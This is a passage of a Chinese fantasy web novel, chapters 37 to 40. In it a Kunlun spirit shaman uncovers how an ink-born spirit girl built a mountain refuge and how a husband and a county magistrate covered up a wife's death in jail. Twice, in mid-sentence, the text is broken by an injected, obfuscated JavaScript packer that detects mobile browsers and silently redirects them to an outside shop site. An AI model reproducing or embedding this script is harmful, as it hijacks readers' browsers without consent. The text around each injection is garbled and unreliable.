但每每遇上这位小仙子,摇光都似乎会变得叫他有些不敢相认,无论如何,今日是她帮忙留住了雁儿,文昌正待出言相谢,却就见璃音捏炮弹似的捏着那根火烛,蹲下身去,就拿那一簇小火苗对着画像一角烧去。 她俯身俯得文雅,手持烛火时,脸上神情又一直战战兢兢的,方才那话又分明是在劝架,任谁也没料到她会突然来这么一出,文昌惊怒:“你做什么?!” 只见她一边用火熏着那画,口里还一边埋怨道:“也不知楚姐姐害不害怕,反正我是最怕火了,小七,你下次威胁别人,还是尽量挑个别的。” 摇光乖巧应声:“是。” 虞宛初心中石头反而落了地,她并不了解那位摇光星君,却笃信璃音做事必有分寸,不会真的伤害楚雁儿,虞宛言对他们的态度却与阿姐截然相反,他对摇光有所崇敬,对璃音却始终颇有成见,他见摇光对楚雁儿不过滴蜡诱出,璃音却直接烧画相逼,足可见她的无情狠辣了,当即跳出来叫道:“你这毒妇妖女,你烧她做什么?” 璃音用“你是笨蛋吗”的眼神横了虞宛言一眼,道:“你都说了,我是毒妇妖女,做点坏事还要什么理由,就烧着玩咯。” 说着火舌就要舔上那画,文昌没想到这小仙子竟比摇光还要狠心,这一烧下去,雁儿却再去何处藏身?只得放弃挣扎,垂下了眸,认命投降道:“仙子不必试探了,雁儿她……” 谁知招供的话才说到一半,就听屋外砰的一声巨响,像是什么大块的东西遭人掀翻,接着一阵急促的咔哒之声,不过眨眼,门口就赫然出现一具白骨,疾向屋内奔来。 此时室内分明无风,书架上那本已然被文昌合上的《烧火丫头夜逃伏龙山》却似被狂风吹动,书页疾翻,哗哗乱响,直至翻到最后一页,那最后一格里发髻微微散乱的山桃墨线一动,竟似活了一般,猛地向纸外一跳,跳成一个三寸来高的线条小人,就跃身缠上那具狂奔而来的白骨,墨线绕骨,不断包裹伸长,转眼就把一副阴森森的骨架变作了一个娇俏玲珑的小姑娘。 “这位仙子,您若实在要烧东西来玩,就烧我吧!”小姑娘人形一成,就先冲璃音扑通一声跪倒在地,双手捧上那本《烧火丫头夜逃伏龙山》,就流着泪磕头,“今日是我非要带着夫人下山,去见一见那庙会的热闹,夫人魂魄虽未归幽冥,但此后也只是寄居在这幅画中,绝不会出去作恶,仙子大慈大悲,先前在东巷里就已救过我家夫人一次,这一次还望仙子也能高抬贵手,放过我家夫人吧!山桃愿做牛做马,做您烧火玩的干柴,报答仙子的恩情。” “好说,好说。” 璃音笑吟吟接过山桃手中画册,果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656399|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然就高抬贵手,抬了火烛,不再去熏那画中的楚雁儿,而是对准这本《烧火丫头夜逃伏龙山》,就要用火燎了起来。 文昌再一次惊怒:“你!” 只听屋外又是砰的一声巨响,接着咔哒之声传来,果然门外又有一具白骨走了进来,那画中墨色勾染出的楚雁儿微微一动,就自画纸上一笔笔地剥离,又一条一线地往那具白骨之上缠附。 楚雁儿化出人形,向着璃音盈盈下拜,含泪说道:“仙子,我拒入幽冥,自甘领罪,现既已出画,此后便听凭仙子处置,只是山桃何辜,还望仙子容情,饶她一命!” 璃音这才移开火烛:“你们早点出来,我也不必来受这个苦。” 说着便像扔烫手山芋似的,把手中那盏燃着的烛火扔回了摇光剑的上。 摇光钳住文昌的左臂一松,同时右臂探出,剑尖往外一送,就将烛台送回了那只梨花桌案上。 收剑时还不忘诚恳反思:“这次是学生莽撞,挑错了器具,害老师受苦了。” 文昌:“……?” 他缓慢活动着被捆麻的手和脖子,只觉血脉难畅,麻痒入骨,看看雁儿,美眸含泪,凄凄切切,再看看山桃,一脸的泪横,额头都磕红了一片。 登时怒从心头起:不是,哥们,到底是谁在受苦啊? 但尚未来得及“恶向胆边生”,就听见璃音如冷泉击石般的声音响在自己耳边:“帝君,你刚才有什么要交代的,现在没人打断你了,可以开始讲啦。” 文昌一怒之下,继续怒了一怒:瞧瞧这语气,这说辞,这不是刑讯逼供是什么?这一对不知扮的什么家家酒的师徒,合着都拿他这堂堂帝君当犯人在审呢! “恐怕帝君认不得小仙,小仙乃是昆仑西王母座下小小灵巫,小仙不才,没有帝君这般吟诗作赋的大才能,平时只练了些探魂识谎的雕虫小技。” 璃音双眼一瞬不瞬盯着文昌,右手中指微微内扣,虚虚结出一个兰花印,指尖却如起舞般缓缓游动,追逐着萦在手掌周围的绿色萤光,却不将手印捏实,仿佛只是在同一群萤火虫嬉戏:“小仙介绍完了,帝君现在可以开始讲讲,此处的‘不还寨’到底如何成真,这位楚娘子和山桃姑娘又究竟是人是画了。” 文昌再怒之下,只好又怒了一怒:威胁,这绝对是赤裸裸的威胁!但目前看来,要论武力,这一对阴森含笑的凶师恶徒,他是一个也打不过。更不用说这位仙子精通魂术,那兰花印只需往灵台轻轻一叩,任谁的识海记忆在她面前,都只如裸奔的一般,她没有将读魂之术直接使将出来,已是在给他面子了。 他这“恶向胆边生”是彻底生不起来了,只得长叹一声,认栽招供:“雁儿只是一介凡人,绝非妖魔,伏龙山上的这般光景,她之前也的确不知,只是她与陆安所作画册大卖两年之后,陈天财一次回乡时,就买回来一个烧火丫鬟,陆安和雁儿一看那丫鬟的样貌,再听了她的名字,都吓了一跳。” 说着抬眼向山桃望去:“陈天财带回来的那个小丫鬟,正是雁儿与陆安笔下的山桃。” 38. 第37章 书怨 他看雁儿和山桃仍伏跪在地,忙过去扶她们起身,山桃见危机暂解,心下稍宽,她生性洒脱,只有遇着楚雁儿逢难时才会方寸大乱,这时见文昌来扶,也无多余矫情,自是一扶便起。 楚雁儿却是微不可闻地哼了一声,甩掉文昌扶过来的手,只自己起身,站定后还向着文昌深深躬身行了一揖:“民女不过凡间微末草芥,岂敢劳烦帝君相扶。” 她说这话时语气可谓是万分恭敬,就是恭敬到听来有些阴阳怪气。 四周齐刷刷投来一圈看戏的眼神,文昌也顾不得什么脸面了,忙一把抓住楚雁儿的手臂,急道:“你这说的什么胡话,难道我换了身份,你就不再认我,你与陆安的那些过往,也全都不算数了么?” 楚雁儿眼中泪还未干,又一次甩掉文昌抓上来的手,甚至背转过身去,看也不看他了:“帝君适才讲述那些过往时,一口一个陆安,却一次也不肯称‘我’,可见陆安已是死在那日的东巷里了,帝君从此便只是九重天上高高在上的帝君,世上已再无那个愿舍命护我的陆郎。” 讲到最后,音声悲戚,已如同泣语。 文昌忙扳转回她的身子,看她泪光盈盈,只觉如有猛火熬心,当即扯了袖子给她揩拭眼泪,轻声哄道:“我若不是你的陆郎,现今又怎么会站在这里,我来寻的是谁,难道你心里不知?” 楚雁儿听了这话,总算不去甩他的手了,只是仍旧扁着小嘴哼道:“帝君方才不是已与那位神君说过了,你上山是来寻你的文昌笔的,可不是来寻楚雁儿的!” 那不过是他在摇光面前死要面子,嘴硬乱诌的一句说辞罢了,没想到竟会被心上人听了去,如今又当着好友的面遭爱人质问,登时满脸涨红,羞臊难当。 偏偏这时山桃还要站出来拱火:“没错没错,我也听见了!还有什么‘朱颜辞镜花辞树,相遇之后,总要别离,就当作人间艳遇一场’,这话不是帝君你说的?” 文昌没想到竟连这句也让她听见了,不禁又羞又惊,便又开始犯起他那一心虚就爱装怒反问的毛病:“那今晚庙会之上,你家夫人与那一个男的约着坐在一起看戏,又怎么说?” “那是我给夫人安排的!陆安死了,帝君又是如此薄情,不肯再认凡世前尘,我帮夫人找几个美男散散心,又怎么了?”山桃挺身上前,一把将文昌的手从楚雁儿脸上拍掉,就把夫人拉去自己身后,说得一脸理所当然。 “你你你……”文昌气得胸膛起起伏伏,话也说不顺了,指着山桃的手指都在发抖。 楚雁儿见文昌一脸醋意大发的模样,却嘴也不扁了,泪也不流了,只一双眼睛被水雾染得亮晶晶的,上前拉住他的手,喜道:“陆郎,我在庙会上看见的,果然是你,你……你当真是专门寻我来的。” “雁儿,那些混账话我以后再也不说了,你在一日,陆郎便在一日,你不要再生我的气。” 说着两人就抱在了一起。 山桃急得在边上直跺脚:“夫人!此人惯会花言巧语,你可不能就这样原谅他!今日庙会之上,你若不是被这小子的出现惊了神,又怎会蜕皮现骨,白白浪费了一张好画。” 这几人又哭又笑闹了半天,虞宛言抱剑看着,不明所以:“他们到底在吵什么,怎么吵着吵着又抱到一起去了?” 璃音早已掏出了一袋子炸鱼干在啃:“打情骂俏这么好看的戏码,你竟品不出其中趣味,可怜,可怜!” “我看那山桃姑娘都快气死了,哪里来的什么情什么俏……你笑什么?” 虞宛言自小入观修习,虽未出家,但于男女情事上可谓是一窍不通,说出的话好似一根木头,听得璃音啃着鱼干直犯乐。 她笑着一偏头,就见摇光站得跟座石佛似的,脸上居然一点表情也没有,甚至隐隐藏了些黯然,她一时记起陆安刚被砍死、文昌魂魄归位那时,他也曾说过一句十分悲观的话,他说:“再刻骨的记忆,过上百年千年,也自淡了。” 看来这位神君是又想起他在凡间历劫时,那些再记不清面貌的爱人了。 璃音拍拍他的肩膀,出言安慰:“你也不必羡慕他,会遗忘便说明缘分还是不够深,我曾为你推算过一卦,你的正缘虽百年之前已至,但真正相遇竟还要在此间日后,咱们一路上多加留意,估摸就在这一两年间,就能把你嫁出去了。” 这话倒不是现编来诓他的,是那日在望仙镇,她承诺护他这一世周全,认真掐指算出来的。 摇光听了她这一卦,心情果然看起来好了不少,饶有兴味地转过头来,挑眉笑问:“就在这一两年间?” 璃音一拍胸口保证:“昆仑灵巫,卦无虚应。” 此前屋内气氛一度剑拔弩张,被楚雁儿那一下嗔怪甩手一打岔,这时已全然是一派温情脉脉了。 虞宛初看大家谈情的谈情,看戏的看戏,聊天的聊天,各跑各的题,宠溺地笑着摇了摇头,提声向那边如胶似漆抱在一起的二位道:“楚娘子,你与帝君分明有情有义,不论吵架叙情,都还请暂且放上一放,眼下要紧的,还是先将此间情况分说明白,那位夏姑娘魂术了得,我与舍弟虽修为尚浅,总也可略尽绵薄之力,或可相助楚娘子还阳也未可知。” 一听楚雁儿或还有机会还阳入世,山桃也没心思跺脚大骂文昌了,忙转头向虞宛初请教:“姐姐,你们真有办法让我家夫人活过来?” 璃音看山桃这又急又喜的样子,忽道:“你倒是一心只为你家夫人考虑,你怎么不问问自己还能不能活得过来?” “仙子有所不知,我与夫人不同,夫人是本就生在阳世的凡人,而我……”山桃忽地一笑,这笑率真里夹杂着落寞,里面虽有遗憾,但更多的却是旷达,“我本就是活不过来的。” 璃音收了鱼干,正色道:“山桃姑娘,你究竟是什么人?” 她听闻过有些骨灵会剥皮附骨,以化人形,但似这般以画中墨人附骨化形的,她却是从未见过。 听山桃话中意思,楚雁儿是实打实的凡人魂魄,便应该是凡人身死,亡灵附骨,再取画中笔墨为皮,而她自己却与楚雁儿不同,并不自阳世出生,这便奇了。 无论是人死后成了阴鬼,化厉化煞;还是宗门子弟渡得大劫,飞升成仙,也或是修行有偏,就成妖堕魔;乃至兽石草木得道化灵,凡曾有本体在世,都绝无“本就不生在阳世”的道理。 所以这个山桃,非人非鬼,非神非仙,非魔非妖,璃音实在看不穿她的来历。 莫非真是文昌笔显圣,点画成灵? 山桃见那本《烧火丫头夜逃伏龙山》被放去了一边,再次将它捧过掌心,笑道:“仙子,我原只是书中一缕怨气,只因无缘无故被主角一刀捅死,故而在书页里始终无法瞑目,却又没别个去处,只得终日隐于书缝之中,含恨徘徊,直到夫人给我取了名字,还让我有了属于自己的故事,我才终于有了归宿,也因而才有了今日的山桃。” 原来她竟是书中角色怨气化灵,并无本体在世,有书便活,无书即死,璃音不禁感叹,果真是天下之大,无奇不有了。 山桃又指了指书架,续道:“不止是我,还有许许多多原本在书里痛苦挣扎的姐妹,都因夫人的书册,才终于得以逃离原书残酷结局,另有了安身之所。” 璃音插口问道:“你所说的容身之所,是指公子川画的那些小书吧?” 山桃点头称是。 所以公子川的书册给这些书怨提供了一个世外桃源,她们络绎而往,都纷纷从原书搬了家,来到公子川的书中住下,不是文昌笔点画成灵,竟是怨灵入画,倚画而生。 璃音便向房门口踱了两步,伸手朝外一指:“那此处的这个‘不还寨’,还有院中那些棺材里躺着的死人骨头,又是怎么回事?” 她们既是书怨,只需傍书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666595|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而生,又何必再去盗人尸骨?况且于她们而言,书中楼阁与现实楼阁又有何异?这般占山藏骨,岂非多此一举? 山桃听此一问,却忽地怒睁双目,两条秀眉也跟着竖起,活脱脱就是那幅打虎图里的模样,恨恨地道:“是有一次陈天财那狗东西归来,发现了夫人偷卖绣帕换钱,对夫人破口大骂,还将夫人狠狠打了一顿,我在书里全都听见了!想着自己托夫人的福,在书中日日逍遥快意,如何却不思量报恩,让夫人在外面受苦?可我附墨而生,即便能脱离书页,也只能是一团墨线,却要如何去得夫人身边,所以……所以我才……” “所以你才起了盗骨化人的心思?”摇光听她说到此处,突然支支吾吾说不下去,便替她把话接完。 谁知山桃却摇着头道:“我住在书中,从来只知晓书中之事,似这等盗骨附灵之法,我那本书中不曾提及,我却去哪里晓得!我报恩无门,正为此发愁,却忽有一日,有人往书页里夹了一张小笺,我附上去一看,就见上面写的是‘以灵入墨,墨再附骨,可化人形’。” 听到这里,璃音眸色一沉,此处村镇里出现大批骨灵作乱,背后果然有人在刻意教唆指点! 她沉声追问:“这纸笺是谁夹进你书里的,你可瞧见了?” 山桃回忆道:“那人夹纸进来之时,并不曾将书册摊开,只是从书页缝隙之中塞入,故而并不曾瞧见那人样貌。” 璃音听山桃如此作答,轻笑一声,缓缓在她面前抬起右手,一时指尖轻舞,青光浮动,却又只是一闪而逝,她握拳收手,笑道:“山桃姑娘,我需提醒你一下,凡是在我面前撒谎的,最后尴尬的都只会是他自己。” 她并非是在冷笑,但那笑却是冷的。 山桃慌忙伸指起誓:“仙子明鉴,山桃不敢隐瞒!若有半句作伪,叫我魂断此山,再不能与夫人相见。” 顿了顿,忽然想起什么似的,忙又接口道:“但有一位帮我挖骨的姐姐,我却是记得的!我那日得了化人之法,就附身在墨水小人身上,离书远行,想要去寻一副白骨,岂知那人骨哪里是好挖的,凭我这三寸的小人,何时何日才能挖得完一座大坟,就是在那个时候,我遇到了那位叫作姚彩秀的姐姐!” 又是姚彩秀! 璃音和摇光飞速对望一眼。 只听山桃又道:“彩秀姐姐见我挖得辛苦,便来问我在做什么,我便将自己如何逃书报恩,还有附骨安灵之法都说与她听了,她说她在人间游荡了已有好几百年,也是第一次听说有这个法子。 “后来我得化人形,设法让陈天财买了我进去,我见只要陈天财在家,夫人就时有郁郁,就觉东巷终归不是个久留之地,我就想起夫人为我设计的那处山头小寨,那里最是快活恣意,我就想,我何不就把‘不还寨’真的造了出来,接夫人过去一道快活! “我一人孤身力薄,这样痴心妄想的事,本来决计难以完成,不想跃书而出要向夫人报恩的姐妹何止我一人,据出来的姐妹们所说,她们的书里也都被神秘人塞进了教授附骨之法的小纸笺,彩秀姐姐就一一帮她们挖了骨,她们有的乔装外出经营考学,积攒银钱,有一个姐妹考中了探花,现在还在朝里扮着男人当大官呢!余下的姐妹就留在山里伐木建屋,植花造景,用了五年,终归是把这个‘不还寨’造起来了。 “这两天夫人来了,我本想接彩秀姐姐也一起到山上来住,却不知她到哪里去了。” 璃音听了,不禁暗自钦叹:原来这伏龙山顶的‘不还寨’,竟是一帮姑娘们一砖一瓦,自己动手建造而来的。 而且姚彩秀使的以灵附骨之法,竟还是从山桃这儿学会的! 那么她宁可在破军上撞得魂魄残碎,也不肯供出的人,便不是鬼王,而是这帮住在山顶桃源中的姑娘们了。 而那个往姑娘们书中偷夹纸笺的神秘人,恐怕才是她真正要找的鬼王。 39. 第38章 合谋 璃音见山桃满面忧色,知她挂心姚彩秀近况,不禁轻叹一声,说道:“姚姑娘已魂归冥府,你不必再寻了。” 山桃轻轻“啊”了一声,喃喃道:“彩秀姐姐,怎么会……” 发了一会儿怔,突然跪下,忙忙地向璃音几人叩首,口中急切道:“我家夫人遇害时日尚短,尸骨虽被那姓陈的狗东西敲走了一根,其余肉身都还完整,已由我用冰捂着,好生殓在院中,如今夫人头七未过,冥差大人尚有时日宽限,适闻仙长或可助夫人再次入世还阳,恳请各位仙长恩赐圣手,山桃无有不报。” 璃音记得清楚,那日在望仙镇的酒楼中,那位在衙门里有点人脉的牛老爹分明传楚雁儿是突然中了恶,喊叫起来,望后一跌,就自己死了,又把失去阴骨之事说得神神秘秘,至于是谁做的,也没给个定论。 而此时山桃却直言楚雁儿是遇害而死,阴骨也是被陈天财所挖,文昌未能目睹楚雁儿之死,听罢,已是怒不可遏:“雁儿,我还不曾问你,那日你怎会死在狱中的?还有你的遗骨,当真是陈天财那狗东西给毁的?” 楚雁儿握了握拳头,似是想起什么可恨至极之事,却又忽然哼地冷笑一声,昂首道:“是那帮狱卒想要欺辱我,被我拔了发钗狠刺,一下一个,把他们下面全戳废了,他们就发了疯,都来按住我的脑袋往地上撞,我就又送了他们好几个断子绝孙脚,才被他们撞死了,他们不晓得,我同他们打了这一架,死时根本不觉得痛,只觉得痛快!” 文昌听了又是气愤,又是心疼,只恨陆安凡人之躯孱弱,打不过那杨肃,也护不到爱人最后,他揉揉楚雁儿头顶发心,脸上努力往外挤着笑:“雁儿真厉害,一点不比公子川笔下的那些女侠逊色了。” 楚雁儿虽将狱中这段惨际说得豪气,但璃音心里却仍兀自不平:杨肃和她一寄监入狱,案子尚未公审定卷,楚雁儿之事,当时不过全凭杨肃一面之词,又没第二人撞见她与小厮厮混,才入得狱中,就连连遭辱。那杨肃可是切切实实杀了人的,几十双眼睛看着,确确凿凿,他却又是何等待遇?好酒好肉都不必说,就连罪状也有知县帮着篡改,轻轻地就发落回家去了。 还有那个陈天财,专门挖去妻子的阴门之骨,难道是故意要做成一段惩戒故事,流传开去,好羞辱妻子的不贞? 不对!璃音忽然想起一处不妥,将跪在地上的山桃扶起身来,向她问道:“陈天财不是在楚娘子死后第二日才到的乡么?昨日在酒楼里,他也说是去衙门接杨肃回来时才听说楚娘子身亡的,可虞姐姐之前说过,他们姐弟二人在前一晚就去探过楚娘子的尸骨,那时她的骨头已然有缺了。” 山桃对着空气挥了一拳,仿佛边上就站着个陈天财似的,向那边啐道:“我前日得知夫人被下了狱,就一直守在衙门口,见着夫人游魂出来,就知夫人已是遇害了,于是先接了夫人的魂魄去到不还寨,晚上又偷溜进衙门的仵作房里,准备去背夫人的遗体上山。 “谁知我一进去,就又有两个人推了门进来,我只好先躲去了旁边一间矮柜里面,我从缝里往外一张,看清那两个人,一个是府里的娄知县,还有一个就是那狗东西陈天财!原来那狗东西早就偷摸回到镇上了!” 当时山桃躲在柜子里,就听见那娄知县向陈天财道:“陈兄,这人已是死了,你也不要说我偏私,这个妇人于你不贞,牢里的弟兄原也只为帮你出一口恶气,这本是和杨兄弟一样仗义的行事,不想她就死了,这样人死也不足惜的,依我的意思,竟就叫仵作出个明证,算作暴毙了事,只是恐怕回头上面查将下来,闹得不好看,况且她到底是你妻子,她如今尸身在此,是告是瞒,你毕竟怎样说法?” “这样淫/妇,死便死了。”陈天财对着尸体把眼一横,脸上肥肉抖了一抖,堆出一个笑来,“小人也不必去告,只是却要向大人换个恩典。” 人被送去牢里还不到两刻钟,尚未提审,便已死了,这事倘不按下,有亲眷往上面闹大了,必有一番牵扯,娄知县听陈天财是能帮着遮掩的意思,只是还要些好处,忙道:“是何恩典,陈兄但请明言。” 陈天财摸了摸肚子,笑道:“小人不告牢里的兄弟,只换大人饶了我那杨兄弟出来,不要再去告他。” 娄知县一听这话,把心放进了肚子了,笑道:“这个却是好办,杨肃忿行义举,我本也有心要出脱他,眼下原告已死,我只需把状子改一改,模糊写个别的罪名,弄得轻些,到时候几个轻棍子含糊过去,明日你一早来,便可领着你杨兄弟归家去了,这原也是众望所归,谅乡民也没谁会去多言。” 陈天财从怀里摸出厚厚的一封银子,也不知究竟多少,就油腻腻地笑着推去娄知县手中:“这贼妇人在狱中暴毙而死,总是她淫性太甚,老天也看不过眼,替小人将她收了。” 娄知县不声不响将那封银子接过,看了尸体一眼,说道:“陈兄,这尸首你却待要如何处置,是等仵作出完呈子,替你就在衙里烧了,免得日后牵连出官司来,还是你与她毕竟有些夫妻情义,要殓回家去安葬?” 陈天财摆手:“往日便再有情义,她如今与家中小厮做出那等苟且之事,也都休提了!” 娄知县无意和一具尸体在屋内久呆,当即说道:“也好,既商议定了,此处也非久留之地,这便走吧。” 陈天财盯着楚雁儿的尸体,双眼放出奇异的光来,说道:“小人与这贼妇人却还有一些私怨未了,大人还请先自去,这了结的场面恐不大好看,莫要污了大人的眼。” “一会儿仵作要来,别搞得太难收拾。”娄知县颇为知趣地一笑,便把银子揣进怀里,自行去了。 陈天财搓着手嘿笑了两声,就朝楚雁儿的尸首扑了过去,哼着走调的小曲儿,动手一件件拆起了她的头面首饰,全往一个黑布包裹里装了进去。 山桃气得当下就要踹柜门而出,不想那矮柜和陈天财靠得过近,他那肥墩墩的身子一动,就正好撞了那柜子一下,又胖乎乎的胳膊一挥,就正好碰翻了柜面上一方砚台,漆黑的墨汁就滴滴答答沿着门缝渗进柜子里面,滴上了山桃那双正欲踹门的脚丫子,她足上一沾了墨水,便即如画纸上晕了一个大墨团,竟把她好好的一双脚就在骨头架子上洇糊了,又顺着腿骨一路向上洇了开去,所过之处,皆成了一团离骨黑墨。 原来她附墨而生,却只能附着于属于她自己的故事笔墨,若不慎被旁的书墨泼上了身,就要洇作一团,坏了原身,难以动弹,直至变作一个大墨团。 那墨不过片刻便已洇上了她的双手,她动也不能动,只得 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说着已将那块阴门骨挖了下来,扔了镰刀,掂了那根骨头在手,又取出一块黑布包了,打着结,骂道:“吃里扒外的赔钱东西,偷着挣了大钱,不上交在正经丈夫手里,叫我在外奔波,你自己倒和那贼小子窝在一处快活!最后就剩得这块骨头卖去龙溪村,正好还值个一二百两银子,那也是你欠我的,正好抵了当年买你回来的花费。” 听陈天财说完这几句,那墨水便渐渐爬过了山桃茸毛根根竖起的耳朵,爬过她睁圆的血红的双眼,最后没过她的头顶,终于将她完全吞没了。 文昌一直一言不发地听着,握紧的拳头几乎要捏碎自己的指骨。 虞宛言越听脸色越是阴沉,听到此处,唰的一声,就把剑拔了出来:“我现在就下山去杀了那个畜生!剁了他的骨头挂去城门口上!” “光死一个陈天财怎么够!”山桃红着眼恨声,“与他筹划杀人分赃的杨肃,害死夫人的那些狱卒,还有包庇罪责的娄知县,他们全是同谋,全都有罪,全都该死!” 虞宛初伸手将弟弟手中长剑轻按回鞘,转头向楚雁儿说道:“如何处置他们,这事还是要先听听楚娘子是怎么想的。” 虞宛初少年血性,当即带鞘扬剑,向楚雁儿道:“楚娘子,只要你一句话,我今夜就去替你把他们全都杀了!” “雁儿,你想怎么做?”见楚雁儿鬓边那一缕碎发又落下额边,文昌掠手替她拂去耳后,柔声问她。 “小公子,多谢你。”楚雁儿向着虞宛初感激一笑,却轻轻摇了摇头,“可比起让他们去死,我更想要的,是一场审判。” “作为妻子,我确实对丈夫不贞,我也因此受到了惩罚,这个我认,但我并不后悔。当年父母病重,他花费一百五十两银子买我回家,我的父母得以多吃一年的药,多续了一年的命,这份恩情,我就用这些年挣来的钱财和一根骨头还他,我也认了。有恩报恩,有罪受罚,我也没什么可说的。” 楚雁儿说着深吸一口气,提声道:“可他们谋财害命,又矫饰罪行,却凭什么无人审判,也无人受罚!所以我不求见血杀人,只求一场公平,求一场能将他们的罪行公之于众的审判,一场不仅在公堂上,还要在众人口中心中,都能把事实说认清楚,彻底撕掉他们假仁假义、道貌岸然的英雄面具,叫他们狗熊现身、无处遁形的审判!” 40. 第39章 山在动 “这个不难!” 山桃听了夫人这样心愿,当即就转身拴束起包裹来,嘴里不忘愤愤念叨:“宁溪姐姐还在朝中做着大官呢,我们也不是没有靠山的,我今夜就收拾好行李,陪夫人去汝陵皇城,狠狠告上他们一状!” 那些人之所以敢如此欺侮楚雁儿,不过就是看她娘家败落,身后全无亲族可依,丈夫作为她唯一的倚靠,又高调在外另娶了新人,提起楚雁儿时也总是呼呼喝喝、言语轻佻,从不在外人面前维护过她半句,便更助长了旁人肆无忌惮说三道四的嚣张气焰。只没想到楚雁儿背后虽无父母亲眷,却站着这样一众隐在书海山间的姐妹强援。 璃音看山桃兴奋又忙碌地转来转去,收拾着行李,还去墙角挑了一根又黑又长的火钳,拴去了腰间,不禁笑道:“山桃姑娘,你和楚娘子一个书怨墨灵,一个死后阴鬼,哪个衙门敢接你们的状子。” 说着便即抬手,以指代笔,青光为墨,就凌空写下一段小字:“现有望州府衙知县官民勾结,私改文书,姑息杀人重犯,更放任当牢狱卒强辱女囚,皆我亲见,悉数告闻。至于公主床头小鬼,并非望州荀满,此事亦略有眉目,还须待望州事毕,再行查证。” 写完指尖轻轻一挥,腕间“宙”字铃铛一闪,望空低喊一声:“汝陵城,揽华殿,公主床头,去!” 那一整段文字便就化作一道银光,凭空消失不见了。 山桃见璃音还有更大的人脉,先是一喜,随即想起这位揽华公主在民间的风评,却又不免担忧起来:“仙子,那位揽华公主素来名声不好,我虽知她纵马撞人之事并非有意,但她性子娇纵,目中无人也是出了名的,只怕她未必就肯理会我们这样小州小县里的事。” 虞宛初笑道:“你没见她在后面还添写了一桩公主的心事么?” 山桃回想了一下璃音方才传信的内容,说道:“是公主回宫后,床头就开始闹鬼的事么?这个传言我也听过的,没想到竟是真的?” “这等见鬼之事,自然是要说与那些见过鬼的人听,才肯信肯管。”虞宛初微微一笑,“而且公主床头闹鬼之事尚未解决,想必此刻正为此寝食难安,一心盼着二位仙长回去解救她于水火呢,如今却被这样的事耽搁,她肯定急不可待是要来管的了。” 山桃听了连连点头:“原来如此,仙长,你真聪明。” “是这位夏姑娘聪明。”虞宛初一双杏眸眼波流转间,将盈盈的目光投在璃音身上,笑时有如春水沁人。 山桃见夫人之事有了着落,心中积郁忧忿也消散了大半,这时胸怀一畅,也眉眼弯弯地冲璃音笑了起来,娇俏动人:“仙子,你真是冰雪聪明!” 虞宛言提着剑站在一旁,无人在意地“嘁”了一声。 璃音一听夸奖就要偷偷翘尾巴,面上却作出一副“没这回事”的谦逊模样,连连摆手:“哪里哪里。” 摇光看她做作摇手,站在一边,只是笑。 谦谨恭让,虚怀若谷,闷声发财,藏拙韬光,这些个所谓的欲成大事的必备美德,璃音反正是一样也不沾边的。 她打小就觉得自己聪明,上昆仑山之前,就总喜欢在父母和外人面前表现自己的聪明,更喜欢看旁的人星星眼赞她聪明,只是她成仙成得太过突然,上了昆仑之后,前世修炼未成,这一世又做贼心虚,才叫西王母的两次称赞都把她听得面红耳热,算是把她在当凡人时那十分臭不要脸的自我感觉良好给彻底治好了。 但毕竟江山易改,本性难移,这会儿接连被两个美女这么一夸,那种感觉就又有点要抬头的趋势了。 璃音翘了会儿尾巴,忽然想起一事:“对了,山桃姑娘,我还有一件事要问你。” “仙子尽管相问。” “你说你那日去接楚娘子遗体上山,却被浊了墨,动不得身,那后来楚娘子的遗体,你又是如何搬上山来的?” “我倒忘了说这件事了。”山桃照着烛火,去梨花桌案上取过一张小纸笺,“是有山中姐妹在昨晚收到神秘人的纸条,让她们速速前去县衙解救我与夫人,便有两个姐妹连夜赶来,带了我与夫人上山,这才及时保住了夫人肉身,没叫那仵作给烧化了。” 她将那纸笺递给璃音:“听那两个姐妹说,这纸条当时被一枚飞镖钉在门上,谁也没瞧见是什么人送来的。” 又转身去书架上翻出一本书,取出里面夹着的一张小纸笺,也给璃音递了过去:“这个就是神秘人教给我们附骨化灵的纸笺,仙子你瞧瞧,这两张字条上的字,是不是同一个人写的?” 璃音把两张字条都捏在手中,细细比对了一阵,看字体风格确实像是同一人所写,但因两段文字上并无重合,没个实在的对照,却也不好就下定论,于是又把纸条递给文昌:“这种笔墨上的事,还是请文圣来判一判吧。” 文昌接过,只看了一眼,便道:“是同一个人写的。” 果然又是那个神秘人! 璃音倒有些摸不透那人的用意了,单看此人目前行事,做的似乎都是善举,他真的会是那个屠尽昆仑、残忍暴戾的鬼王吗? 莫不是他此时四处施恩,已是一场精心布局,就为了收服各处人心鬼心,一年后即可挟恩图报,组成恶灵大军,随他偷袭昆仑么? 摇光也看了会儿那两张字条,又转头看看塞满了一整个书架的书册画卷,尤其是那满满的一层楚雁儿的画像,眸光一闪,忽道:“山桃姑娘,楚娘子的这些画像,你是何时取上山来的?” 若说其他书册是她姐妹们的“屋舍”,故而摆放在此,可楚雁儿并非书怨墨灵,这些画像本来不是应该都放在东巷陈天财的宅院里面,甚至应该是十分隐蔽地藏在陆安的房中么? 山桃答道:“是当日杨肃突然提着刀过来砍人,我见仙子已将夫人救下,后面势必要有官府的人来家中查证,我想家中藏有大量公子川的字画,还有许多陆安给夫人画的画像,若被发现,恐有不妥,就赶紧回家,把书画都带了出来。” 